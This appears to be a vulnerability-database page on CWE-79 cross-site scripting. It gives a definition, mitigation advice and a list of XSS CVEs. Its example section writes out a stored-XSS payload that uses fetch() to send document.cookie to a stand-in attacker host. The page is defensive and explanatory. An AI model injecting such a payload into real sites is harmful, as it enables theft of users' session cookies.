Fallos del tipo CWE-79

29.818 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-1384MEDIUMPremium Portfolio Features for Phlox theme <= 2.3.4 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2025-2261HIGHTIBCO BPM Enterprise XSS VulnerabilityEPSS 0.4%CVE-2026-68528MEDIUMConcrete CMS 9.5.2 and below is vulnerable to Stored XSS in RSS Displayer Block via Unescaped Remote Feed Item titleEPSS 0.4%CVE-2024-11770MEDIUMPost Carousel & Slider <= 1.0.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2026-69092MEDIUMAdmidio before 5.0.11 Reflected XSS via SSO/SAML EndpointEPSS 0.4%CVE-2025-30533MEDIUMWordPress Message ticker plugin <= 9.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2025-26929MEDIUMWordPress Accounting for WooCommerce plugin <= 1.6.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30532MEDIUMWordPress Weather Layer plugin <= 4.2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-37783MEDIUMA reflected cross-site scripting (XSS) vulnerability in Gladinet CentreStack v13.12.9934.54690 allows attackers to inject malicious JavaScriEPSS 0.4%CVE-2025-24579MEDIUMWordPress Nested pages plugin <= 3.2.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2023-51064MEDIUMQStar Archive Solutions Release RELEASE_3-0 Build 7 Patch 0 was discovered to contain a DOM Based reflected XSS vulnerability within the comEPSS 0.4%CVE-2025-30847MEDIUMWordPress Novelist plugin <= 1.2.3 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.4%CVE-2024-5879MEDIUMHubSpot – CRM, Email Marketing, Live Chat, Forms & Analytics <= 11.1.22 - Authenticated (Contributor+) Stored Cross-Site Scripting via HubSpot Meeting WidgetEPSS 0.4%CVE-2024-22357MEDIUMIBM Sterling B2B Integrator cross-site scriptingEPSS 0.4%CVE-2026-8661MEDIUMServer-Side Cross-Site Scripting and SSRF in Rapid7 InsightConnect Markdown to PDF PluginEPSS 0.4%CVE-2022-42248MEDIUMQlikView 12.60.2 was discovered to contain a stored cross-site scripting (XSS) vulnerability in the QvsViewClient functionality.EPSS 0.4%CVE-2025-30530MEDIUMWordPress AI Preloader plugin <= 1.0.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-30536MEDIUMWordPress Beautiful Link Preview plugin <= 1.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2025-6699MEDIUMLabRedesCefetRJ WeGIA Cadastro de Funcionário cadastro_funcionario.php cross site scriptingEPSS 0.4%CVE-2024-13629MEDIUMPushbiz <= 1.0 - Reflected XSSEPSS 0.4%